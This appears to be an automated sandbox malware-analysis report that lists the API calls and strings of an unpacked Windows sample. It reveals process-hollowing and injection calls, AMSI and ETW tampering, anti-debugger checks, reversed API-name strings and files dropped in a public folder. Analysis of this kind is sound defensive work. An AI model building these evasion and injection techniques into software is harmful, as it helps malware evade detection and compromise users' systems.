NtResumeThread.NTDLL(02E713D0,00000000), ref: 02E2A15C

Part of subcall function 02E28798: LoadLibraryW.KERNEL32(?,?), ref: 02E287AC
Part of subcall function 02E28798: GetProcAddress.KERNEL32(02E71390,BCryptVerifySignature), ref: 02E287C6
Part of subcall function 02E28798: FreeLibrary.KERNEL32(02E71390,02E71390,BCryptVerifySignature,bcrypt,?,02E713D0,00000000,02E713A4,02E2A3BF,ScanString,02E713A4,02E2A774,ScanBuffer,02E713A4,02E2A774,Initialize), ref: 02E28802

Strings

advapi32, xrefs: 02E2A53D
BCryptVerifySignature, xrefs: 02E2A3AB
NtOpenObjectAuditAlarm, xrefs: 02E2A46C, 02E2A524
I_QueryTagInformation, xrefs: 02E2A538
UacScan, xrefs: 02E28CAB, 02E28EC3, 02E294BF, 02E298BB, 02E29A2F, 02E2A1D9, 02E2A671
ScanBuffer, xrefs: 02E28D04, 02E28D8C, 02E29127, 02E2923C, 02E292D9, 02E29612, 02E29799, 02E2992C, 02E29B11, 02E29C26, 02E29DE4, 02E29F54, 02E2A0C7, 02E2A2BB, 02E2A4D9, 02E2A61F
MiniDumpWriteDump, xrefs: 02E2A54C
sppc, xrefs: 02E291AE
MiniDumpReadDumpStream, xrefs: 02E2A560
ntdll, xrefs: 02E2A45D, 02E2A471, 02E2A529, 02E2A6CC, 02E2A6E0
NtReadVirtualMemory, xrefs: 02E2A458
ScanString, xrefs: 02E28C3A, 02E28DE5, 02E28F93, 02E293BB, 02E295A1, 02E29728, 02E29BB5, 02E29D73, 02E29EE3, 02E2A056, 02E2A341, 02E2A3EE
OpenSession, xrefs: 02E28BE1, 02E29004, 02E290B6, 02E2A487, 02E2A5CD
BCryptQueryProviderRegistration, xrefs: 02E2A3BF
UacInitialize, xrefs: 02E28E6A, 02E291CB, 02E2934A, 02E2944E, 02E2984A, 02E299BE, 02E2A168
Initialize, xrefs: 02E28F22, 02E29530, 02E296B7, 02E29AA0, 02E29D02, 02E29E72, 02E29FE5, 02E2A24A, 02E2A57B
BCryptRegisterProvider, xrefs: 02E2A3D3
NtOpenProcess, xrefs: 02E2A6DB
dbgcore, xrefs: 02E2A551, 02E2A565
NtSetSecurityObject, xrefs: 02E2A6C7
bcrypt, xrefs: 02E2A3B0, 02E2A3C4, 02E2A3D8
SLGetLicenseInformation, xrefs: 02E29197

Memory Dump Source

Source File: 0000000C.00000002.23065524959.0000000002E11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02E11000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2e11000_Oupzhkpr.jbxd

Similarity

API ID: LibraryMemoryThreadVirtual$AddressContextFreeProc$AllocateCreateHandleLoadModuleProcessReadResumeSectionUnmapUserViewWrite
String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$I_QueryTagInformation$Initialize$MiniDumpReadDumpStream$MiniDumpWriteDump$NtOpenObjectAuditAlarm$NtOpenProcess$NtReadVirtualMemory$NtSetSecurityObject$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$dbgcore$ntdll$sppc
API String ID: 59011937-51457883
Opcode ID: 1dd0aeef37e5fe6e08d09b999f67093b271a466cfea6b52a39ddfedb79af3998
Instruction ID: 98c7717d0e88852f3a0a27776c85a39387f2096e78ac0de55dc7b2b4446f68b9
Opcode Fuzzy Hash: 1dd0aeef37e5fe6e08d09b999f67093b271a466cfea6b52a39ddfedb79af3998
Instruction Fuzzy Hash: E8E20C35AD01699FDB11EB64CD91ADE73FAAF45310F10E1B1B00AAB354DA30AE89CF54

Function 02E28BA6 Relevance: 45.4, APIs: 3, Strings: 22, Instructions: 1605
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02E2881C: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,02E28903), ref: 02E28860
Part of subcall function 02E2881C: GetProcAddress.KERNEL32(02E71384,00000000), ref: 02E28879
Part of subcall function 02E2881C: FreeLibrary.KERNEL32(02E71384,00000000,02E71388,Function_000055D8,00000004,02E71398,02E71388,000186A3,00000040,02E7139C,02E71384,00000000,00000000,00000000,00000000,02E28903), ref: 02E288E3

Part of subcall function 02E285D4: CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 02E28660

GetThreadContext.KERNEL32(02E713D0,02E71420,ScanString,02E713A4,02E2A774,UacInitialize,02E713A4,02E2A774,ScanBuffer,02E713A4,02E2A774,ScanBuffer,02E713A4,02E2A774,UacInitialize,02E713A4), ref: 02E2943A

Part of subcall function 02E2824C: NtReadVirtualMemory.NTDLL(?,?,?,?,?), ref: 02E282BD

Part of subcall function 02E284BC: NtUnmapViewOfSection.NTDLL(?,?), ref: 02E28521

Part of subcall function 02E279AC: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02E27A1F

Strings

advapi32, xrefs: 02E2A53D
BCryptVerifySignature, xrefs: 02E2A3AB
NtOpenObjectAuditAlarm, xrefs: 02E2A46C, 02E2A524
I_QueryTagInformation, xrefs: 02E2A538
UacScan, xrefs: 02E28CAB, 02E28EC3, 02E294BF, 02E298BB, 02E29A2F, 02E2A1D9, 02E2A671
ScanBuffer, xrefs: 02E28D04, 02E28D8C, 02E29127, 02E2923C, 02E292D9, 02E29612, 02E29799, 02E2992C, 02E29B11, 02E29C26, 02E29DE4, 02E29F54, 02E2A0C7, 02E2A2BB, 02E2A4D9, 02E2A61F
MiniDumpWriteDump, xrefs: 02E2A54C
sppc, xrefs: 02E291AE
MiniDumpReadDumpStream, xrefs: 02E2A560
ntdll, xrefs: 02E2A45D, 02E2A471, 02E2A529, 02E2A6CC, 02E2A6E0
NtReadVirtualMemory, xrefs: 02E2A458
ScanString, xrefs: 02E28C3A, 02E28DE5, 02E28F93, 02E293BB, 02E295A1, 02E29728, 02E29BB5, 02E29D73, 02E29EE3, 02E2A056, 02E2A341, 02E2A3EE
OpenSession, xrefs: 02E28BE1, 02E29004, 02E290B6, 02E2A487, 02E2A5CD
BCryptQueryProviderRegistration, xrefs: 02E2A3BF
UacInitialize, xrefs: 02E28E6A, 02E291CB, 02E2934A, 02E2944E, 02E2A168
Initialize, xrefs: 02E28F22, 02E29530, 02E296B7, 02E29AA0, 02E29D02, 02E29E72, 02E29FE5, 02E2A24A, 02E2A57B
BCryptRegisterProvider, xrefs: 02E2A3D3
NtOpenProcess, xrefs: 02E2A6DB
dbgcore, xrefs: 02E2A551, 02E2A565
NtSetSecurityObject, xrefs: 02E2A6C7
bcrypt, xrefs: 02E2A3B0, 02E2A3C4, 02E2A3D8
SLGetLicenseInformation, xrefs: 02E29197

Memory Dump Source

Source File: 0000000C.00000002.23065524959.0000000002E11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02E11000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2e11000_Oupzhkpr.jbxd

Similarity

API ID: MemoryVirtual$AddressAllocateContextCreateFreeHandleLibraryModuleProcProcessReadSectionThreadUnmapUserView
String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$I_QueryTagInformation$Initialize$MiniDumpReadDumpStream$MiniDumpWriteDump$NtOpenObjectAuditAlarm$NtOpenProcess$NtReadVirtualMemory$NtSetSecurityObject$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$dbgcore$ntdll$sppc
API String ID: 1291004003-51457883
Opcode ID: a34dbf8257b169a1fa7e2df190d608e36f8edd0216237356113b6b6bbb5ae6b9
Instruction ID: 831b16bb12cb97f8e49f54942aebeae362ef25f2a050226ef551f172ee4605b3
Opcode Fuzzy Hash: a34dbf8257b169a1fa7e2df190d608e36f8edd0216237356113b6b6bbb5ae6b9
Instruction Fuzzy Hash: 73E21C35AD01699FDB11EB64CD91ADE73FAAF45310F10E1B1B00AAB354DA30AE89CF54

Function 02E15A78 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 184
registrystringlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000105), ref: 02E15A94
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02E15AB2
RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02E15AD0
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 02E15AEE
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,00000005,00000000,02E15B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 02E15B37
RegQueryValueExA.ADVAPI32(?,02E15CE4,00000000,00000000,00000000,00000005,?,?,00000000,00000000,00000000,00000005,00000000,02E15B7D,?,80000001), ref: 02E15B55
RegCloseKey.ADVAPI32(?,02E15B84,00000000,00000000,00000005,00000000,02E15B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02E15B77
lstrcpyn.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 02E15B94
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105), ref: 02E15BA1
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105), ref: 02E15BA7
lstrlen.KERNEL32(00000000), ref: 02E15BD2
lstrcpyn.KERNEL32(00000000,00000000,00000105,00000000), ref: 02E15C19
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 02E15C29
lstrcpyn.KERNEL32(00000000,00000000,00000105,00000000), ref: 02E15C51
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000105,00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 02E15C61
lstrcpyn.KERNEL32(00000000,00000000,00000105,00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 02E15C87
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000105,00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 02E15C97

Strings

Software\Borland\Locales, xrefs: 02E15AA8, 02E15AC6
., xrefs: 02E15BE4
Software\Borland\Delphi\Locales, xrefs: 02E15AE4

Memory Dump Source

Source File: 0000000C.00000002.23065524959.0000000002E11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02E11000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2e11000_Oupzhkpr.jbxd

Similarity

API ID: lstrcpyn$LibraryLoadOpen$LocaleQueryValue$CloseFileInfoModuleNameThreadlstrlen
String ID: .$Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1759228003-3917250287
Opcode ID: 41f75e94fb55a26f3a990ea112603149f0cc2d8c2e9d08b8adb20703b6215080
Instruction ID: bb5cc2be2946d4b9e3b01ee5d5239305f1020c3f82a6dcff5fa377f311f7d7d0
Opcode Fuzzy Hash: 41f75e94fb55a26f3a990ea112603149f0cc2d8c2e9d08b8adb20703b6215080
Instruction Fuzzy Hash: C1518771A8020C7EFB25DAA4CC46FEF77AD9B44744F8091B5B708EA181E7B49A44CF60

Function 02E279AA Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02E28018: GetModuleHandleA.KERNELBASE(?), ref: 02E2806A

Part of subcall function 02E280C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02E28113
Part of subcall function 02E280C0: GetProcAddress.KERNEL32(?,?), ref: 02E28125

NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02E27A1F

Strings

yromeMlautriVetacollAwZ, xrefs: 02E279C7
ntdll, xrefs: 02E279F4

Memory Dump Source

Source File: 0000000C.00000002.23065524959.0000000002E11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02E11000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2e11000_Oupzhkpr.jbxd

Similarity

API ID: AddressProc$AllocateHandleMemoryModuleVirtual
String ID: ntdll$yromeMlautriVetacollAwZ
API String ID: 1888340430-445027087
Opcode ID: 0adc997cb0c09c2efd3210dcbc009560a22e64ee69ac7d1e0f249e26705db2d2
Instruction ID: ebd945c3e9eb873653f276364f24392af2ca45ed6094e973b45925953fd43513
Opcode Fuzzy Hash: 0adc997cb0c09c2efd3210dcbc009560a22e64ee69ac7d1e0f249e26705db2d2
Instruction Fuzzy Hash: 36112175690308BFEB00EFA4DC51EAEB7EDEB48710F519460B905D7640DA30AA59CB60

Function 02E279AC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02E28018: GetModuleHandleA.KERNELBASE(?), ref: 02E2806A

Part of subcall function 02E280C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02E28113
Part of subcall function 02E280C0: GetProcAddress.KERNEL32(?,?), ref: 02E28125

NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02E27A1F

Strings

yromeMlautriVetacollAwZ, xrefs: 02E279C7
ntdll, xrefs: 02E279F4

Memory Dump Source

Source File: 0000000C.00000002.23065524959.0000000002E11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02E11000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2e11000_Oupzhkpr.jbxd

Similarity

API ID: AddressProc$AllocateHandleMemoryModuleVirtual
String ID: ntdll$yromeMlautriVetacollAwZ
API String ID: 1888340430-445027087
Opcode ID: 808b7721f99e60617e20aab514301f85c1a6f3d8ca78fc14b4a66fa243d11cc1
Instruction ID: a9b03dca6d854b7a176a149af24b73a620721dac4b363d3fb6c728da96c75289
Opcode Fuzzy Hash: 808b7721f99e60617e20aab514301f85c1a6f3d8ca78fc14b4a66fa243d11cc1
Instruction Fuzzy Hash: 781144756D0308BFEB00EF94DC51EAEB7EDEB48710F51D460B905D7640DA30AA59CB60

Function 02E2824C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02E28018: GetModuleHandleA.KERNELBASE(?), ref: 02E2806A

Part of subcall function 02E280C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02E28113
Part of subcall function 02E280C0: GetProcAddress.KERNEL32(?,?), ref: 02E28125

NtReadVirtualMemory.NTDLL(?,?,?,?,?), ref: 02E282BD

Strings

yromeMlautriVdaeRtN, xrefs: 02E28267
ntdll, xrefs: 02E28294

Memory Dump Source

Source File: 0000000C.00000002.23065524959.0000000002E11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02E11000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2e11000_Oupzhkpr.jbxd

Similarity

API ID: AddressProc$HandleMemoryModuleReadVirtual
String ID: ntdll$yromeMlautriVdaeRtN
API String ID: 36784810-737317276
Opcode ID: c05521f4a5e623697260cf96fe1a41a879ad9cbb2820a37d454b6ce894d9828d
Instruction ID: 0c9249cd1e2d404d7cbd7e39a88eae17109c8966058523b811f532b84ff58e14
Opcode Fuzzy Hash: c05521f4a5e623697260cf96fe1a41a879ad9cbb2820a37d454b6ce894d9828d
Instruction Fuzzy Hash: ED012975690308BFEB00EFA8D841EAE77EEEB49710F52D420F909D7640D670AD198B74

Function 02E27CF8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02E28018: GetModuleHandleA.KERNELBASE(?), ref: 02E2806A

Part of subcall function 02E280C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02E28113
Part of subcall function 02E280C0: GetProcAddress.KERNEL32(?,?), ref: 02E28125

NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02E27D6C

Strings

Ntdll, xrefs: 02E27D43
yromeMlautriVetirW, xrefs: 02E27D13

Memory Dump Source

Source File: 0000000C.00000002.23065524959.0000000002E11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02E11000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2e11000_Oupzhkpr.jbxd

Similarity

API ID: AddressProc$HandleMemoryModuleVirtualWrite
String ID: Ntdll$yromeMlautriVetirW
API String ID: 1525300337-3542721025
Opcode ID: e75cc00427f3edcbc6795a62ac425a9ffad701f955f454e2f27441418f2b0a16
Instruction ID: e145c2b4d2c62c8f3b1567e9f908f4c6e7c13b635e8f7b3ee938eb70077d03d7
Opcode Fuzzy Hash: e75cc00427f3edcbc6795a62ac425a9ffad701f955f454e2f27441418f2b0a16
Instruction Fuzzy Hash: 340140746D0208BFEB00EF98D842EAEB7EDEB4E710F51D460F809D7680C630A918CB64

Function 02E284BC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 02E28018: GetModuleHandleA.KERNELBASE(?), ref: 02E2806A

Part of subcall function 02E280C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02E28113
Part of subcall function 02E280C0: GetProcAddress.KERNEL32(?,?), ref: 02E28125

NtUnmapViewOfSection.NTDLL(?,?), ref: 02E28521

Strings

ntdll, xrefs: 02E28504
noitceSfOweiVpamnUtN, xrefs: 02E284D7

Memory Dump Source

Source File: 0000000C.00000002.23065524959.0000000002E11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02E11000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2e11000_Oupzhkpr.jbxd

Similarity

API ID: AddressProc$HandleModuleSectionUnmapView
String ID: noitceSfOweiVpamnUtN$ntdll
API String ID: 858119152-2520021413
Opcode ID: ab58ed5e71db49522843adc2fd6eff8a9511e0faa5e8c2d75e8f65d4522aa52a
Instruction ID: 5c73ed095a8adf169c01a9ee9e1170122fc754ad6e1f7182a489e31ed7619e98
Opcode Fuzzy Hash: ab58ed5e71db49522843adc2fd6eff8a9511e0faa5e8c2d75e8f65d4522aa52a
Instruction Fuzzy Hash: 1F0167746D0314BFEB00EF64DC41E5E77AEEB49710F92D460B4059B640DA34A909CA20

Function 02E2DAC4 Relevance: 4.6, APIs: 3, Instructions: 80nativefileCOMMON

Download Yara Rule

APIs

RtlDosPathNameToNtPathName_U.NTDLL(00000000,?,00000000,00000000), ref: 02E2DB03
NtWriteFile.NTDLL(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000), ref: 02E2DB6A
NtClose.NTDLL(?), ref: 02E2DB73

Memory Dump Source

Source File: 0000000C.00000002.23065524959.0000000002E11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02E11000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2e11000_Oupzhkpr.jbxd

Similarity

API ID: Path$CloseFileNameName_Write
String ID:
API String ID: 1792072161-0
Opcode ID: 6ce59a2a09d5b7a40936d0b5e679d5cb04f227f62d4d909601869c93a329a68b
Instruction ID: afcfb36519226fc7c2b3e830e6b2bc67cab0962f215e92a4aad06c01fe8c23c6
Opcode Fuzzy Hash: 6ce59a2a09d5b7a40936d0b5e679d5cb04f227f62d4d909601869c93a329a68b
Instruction Fuzzy Hash: 4B21FF71A80359BAEB10EAE4CC52FDEB7BDEB04B04F609471B605F71C0D7B0AE048A65

Function 02E2D9E8 Relevance: 4.5, APIs: 3, Instructions: 47filenativeCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.NTDLL ref: 02E2DA64
RtlDosPathNameToNtPathName_U.NTDLL(00000000,00000000,00000000,00000000), ref: 02E2DA7A
NtDeleteFile.NTDLL(?), ref: 02E2DA99

Memory Dump Source

Source File: 0000000C.00000002.23065524959.0000000002E11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02E11000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2e11000_Oupzhkpr.jbxd

Similarity

API ID: Path$DeleteFileInitNameName_StringUnicode
String ID:
API String ID: 1459852867-0
Opcode ID: 2761b2eb94208179999a5555419cced18572b9503af36920c5002c931c0c0520
Instruction ID: b9674dbd3f3512df930de0f02ad2ccce49f1b2d66a733a28640d95a343b81d80
Opcode Fuzzy Hash: 2761b2eb94208179999a5555419cced18572b9503af36920c5002c931c0c0520
Instruction Fuzzy Hash: 32014FB59883486EEF05E6A08D41FCD77B9AB44704F5090A2A302E6181DA74AB0CCB21

Function 02E2DA3C Relevance: 4.5, APIs: 3, Instructions: 45filenativeCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.NTDLL ref: 02E2DA64
RtlDosPathNameToNtPathName_U.NTDLL(00000000,00000000,00000000,00000000), ref: 02E2DA7A
NtDeleteFile.NTDLL(?), ref: 02E2DA99

Part of subcall function 02E14C0C: SysFreeString.OLEAUT32(?), ref: 02E14C1A

Memory Dump Source

Source File: 0000000C.00000002.23065524959.0000000002E11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02E11000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2e11000_Oupzhkpr.jbxd

Similarity

API ID: PathString$DeleteFileFreeInitNameName_Unicode
String ID:
API String ID: 2256775434-0
Opcode ID: a1fd5c7d40c89f01cdddffb5342bf04af208d6cfcd4117bd806c6f0753cd0595
Instruction ID: 99e16792973d9a1f0885bb5d52b273e71f0993ed09464414e315c40999a66328
Opcode Fuzzy Hash: a1fd5c7d40c89f01cdddffb5342bf04af208d6cfcd4117bd806c6f0753cd0595
Instruction Fuzzy Hash: EA01E575944208AADF11EAE4CD41FCE77BDDB44700F509571B602E6180EA74AB088A64

Function 02E2DBA8 Relevance: 3.1, APIs: 2, Instructions: 80nativeCOMMON

Download Yara Rule

APIs

RtlDosPathNameToNtPathName_U.NTDLL(00000000,?,00000000,00000000), ref: 02E2DBE3
NtClose.NTDLL(?), ref: 02E2DC5D

Part of subcall function 02E14C0C: SysFreeString.OLEAUT32(?), ref: 02E14C1A

Memory Dump Source

Source File: 0000000C.00000002.23065524959.0000000002E11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02E11000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2e11000_Oupzhkpr.jbxd

Similarity

API ID: Path$CloseFreeNameName_String
String ID:
API String ID: 11680810-0
Opcode ID: 01181605a0ec2b17026ef0636c49ba40ed01616f58711d5febc64f843b61edae
Instruction ID: 3443880434e59c52ddd08731719b025c3813b58792d8da230d432bc8bb26f569
Opcode Fuzzy Hash: 01181605a0ec2b17026ef0636c49ba40ed01616f58711d5febc64f843b61edae
Instruction Fuzzy Hash: C621D371A80318BAEB11EAE4CC46FEE77BDAB08700F505471B705F71C0D6B4AA058B65

Function 02E2EC6C Relevance: 236.3, APIs: 9, Strings: 120, Instructions: 10535filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 02E2881C: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,02E28903), ref: 02E28860
Part of subcall function 02E2881C: GetProcAddress.KERNEL32(02E71384,00000000), ref: 02E28879
Part of subcall function 02E2881C: FreeLibrary.KERNEL32(02E71384,00000000,02E71388,Function_000055D8,00000004,02E71398,02E71388,000186A3,00000040,02E7139C,02E71384,00000000,00000000,00000000,00000000,02E28903), ref: 02E288E3

Part of subcall function 02E2EB8C: GetModuleHandleW.KERNEL32(KernelBase,?,02E2EF90,UacInitialize,02E6CF00,02E3AFD0,UacScan,02E6CF00,02E3AFD0,ScanBuffer,02E6CF00,02E3AFD0,OpenSession,02E6CF00,02E3AFD0,ScanString), ref: 02E2EB92
Part of subcall function 02E2EB8C: GetProcAddress.KERNEL32(00000000,IsDebuggerPresent), ref: 02E2EBA4

Part of subcall function 02E2EBE8: GetModuleHandleW.KERNEL32(KernelBase), ref: 02E2EBF8
Part of subcall function 02E2EBE8: GetProcAddress.KERNEL32(00000000,CheckRemoteDebuggerPresent), ref: 02E2EC0A
Part of subcall function 02E2EBE8: CheckRemoteDebuggerPresent.KERNEL32(FFFFFFFF,?,00000000,CheckRemoteDebuggerPresent,KernelBase), ref: 02E2EC21

Part of subcall function 02E1C2E4: GetModuleFileNameA.KERNEL32(00000000,?,00000105,02F658C8,?,02E2FBF6,ScanBuffer,02E6CF00,02E3AFD0,OpenSession,02E6CF00,02E3AFD0,ScanBuffer,02E6CF00,02E3AFD0,OpenSession), ref: 02E1C2FB

Part of subcall function 02E2DBA8: RtlDosPathNameToNtPathName_U.NTDLL(00000000,?,00000000,00000000), ref: 02E2DBE3
Part of subcall function 02E2DBA8: NtClose.NTDLL(?), ref: 02E2DC5D

Part of subcall function 02E17E34: GetFileAttributesA.KERNEL32(00000000,?,02E32A41,ScanString,02E6CF00,02E3AFD0,OpenSession,02E6CF00,02E3AFD0,ScanBuffer,02E6CF00,02E3AFD0,OpenSession,02E6CF00,02E3AFD0,Initialize), ref: 02E17E3F

Part of subcall function 02E2DAC4: RtlDosPathNameToNtPathName_U.NTDLL(00000000,?,00000000,00000000), ref: 02E2DB03
Part of subcall function 02E2DAC4: NtWriteFile.NTDLL(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000), ref: 02E2DB6A
Part of subcall function 02E2DAC4: NtClose.NTDLL(?), ref: 02E2DB73

Part of subcall function 02E28798: LoadLibraryW.KERNEL32(?,?), ref: 02E287AC
Part of subcall function 02E28798: GetProcAddress.KERNEL32(02E71390,BCryptVerifySignature), ref: 02E287C6
Part of subcall function 02E28798: FreeLibrary.KERNEL32(02E71390,02E71390,BCryptVerifySignature,bcrypt,?,02E713D0,00000000,02E713A4,02E2A3BF,ScanString,02E713A4,02E2A774,ScanBuffer,02E713A4,02E2A774,Initialize), ref: 02E28802

Part of subcall function 02E28704: LoadLibraryW.KERNEL32(amsi), ref: 02E2870D
Part of subcall function 02E28704: FreeLibrary.KERNEL32(00000000,00000000,?,?,00000006,?,?,000003E7,00000040,?,00000000,DllGetClassObject), ref: 02E2876C

Sleep.KERNEL32(00002710,00000000,00000000,ScanBuffer,02E6CF00,02E3AFD0,OpenSession,02E6CF00,02E3AFD0,ScanBuffer,02E6CF00,02E3AFD0,OpenSession,02E6CF00,02E3AFD0,02E3B328), ref: 02E349AF

Part of subcall function 02E2DA3C: RtlInitUnicodeString.NTDLL ref: 02E2DA64
Part of subcall function 02E2DA3C: RtlDosPathNameToNtPathName_U.NTDLL(00000000,00000000,00000000,00000000), ref: 02E2DA7A
Part of subcall function 02E2DA3C: NtDeleteFile.NTDLL(?), ref: 02E2DA99

MoveFileA.KERNEL32(00000000,00000000), ref: 02E34BAF
MoveFileA.KERNEL32(00000000,00000000), ref: 02E34C05

Strings

URL=file:", xrefs: 02E3649F
SLGetGenuineInformation, xrefs: 02E39592
NtQueryInformationThread, xrefs: 02E3A607
SLGetEncryptedPIDEx, xrefs: 02E3A56E
ieproxy, xrefs: 02E2EFB9, 02E2EFE0, 02E2F010
advapi32, xrefs: 02E38987
WriteVirtualMemory, xrefs: 02E3A2C8
MiniDumpReadDumpStream, xrefs: 02E389AA
FindCertsByIssuer, xrefs: 02E2F10E
EnumProcessModules, xrefs: 02E3A111
EtwEventWrite, xrefs: 02E3A86B
C:\Users\Public\aken.pif, xrefs: 02E34B49
NtQueryDirectoryFile, xrefs: 02E3A0B7
CreateProcessWithLogonW, xrefs: 02E3A15C
psapi, xrefs: 02E3A116
CreateProcessA, xrefs: 02E3A120
FX.c, xrefs: 02E346F3
EnumServicesStatusA, xrefs: 02E3A0D5
GetProxyDllInfo, xrefs: 02E2EFCF
SLGetSLIDList, xrefs: 02E395C5
D2^Tyj}~TVrgoij[Dkcxn}dmu, xrefs: 02E2FE2F
VirtualProtect, xrefs: 02E3A262
spp, xrefs: 02E3981C, 02E3984F, 02E3A4EC
NtQuerySecurityObject, xrefs: 02E3A706
smartscreenps, xrefs: 02E2F4F6, 02E2F529, 02E2F55C
bcrypt, xrefs: 02E2F365, 02E2F398, 02E2F3CB, 02E399E0
NtOpenProcess, xrefs: 02E389D2
NtWriteVirtualMemory, xrefs: 02E3A7D2
NtMapViewOfSection, xrefs: 02E3A6A0
C:\Users\Public\, xrefs: 02E3317B, 02E354C8, 02E3673B
VirtualAlloc, xrefs: 02E3A1FC
NtCreateSection, xrefs: 02E3A66D
C:\Windows\System32\, xrefs: 02E2F8AF, 02E370B3, 02E37DFB
NtDeviceIoControlFile, xrefs: 02E3A0A8
VirtualAllocEx, xrefs: 02E3A22F
GET, xrefs: 02E318FA
BCryptRegisterProvider, xrefs: 02E2F3B4
DlpCheckIsCloudSyncApp, xrefs: 02E39BA3
WintrustAddActionID, xrefs: 02E2F0DB
TrustOpenStores, xrefs: 02E2F0A8
NtAlertResumeThread, xrefs: 02E39D34
Ntdll, xrefs: 02E3A09E, 02E3A0AD, 02E3A0BC, 02E3A0CB
@echo off@% %e%%c%o%h% %o%rrr% %%o%%f% %f%o%s%, xrefs: 02E33359
LdrGetProcedureAddress, xrefs: 02E3A79F
NtAccessCheck, xrefs: 02E3A739
C:\Users\Public\alpha.pif, xrefs: 02E34B2E
NtOpenFile, xrefs: 02E3A805
LdrLoadDll, xrefs: 02E3A76C
RtlAllocateHeap, xrefs: 02E39D67, 02E39DCD
NtOpenSection, xrefs: 02E3A63A
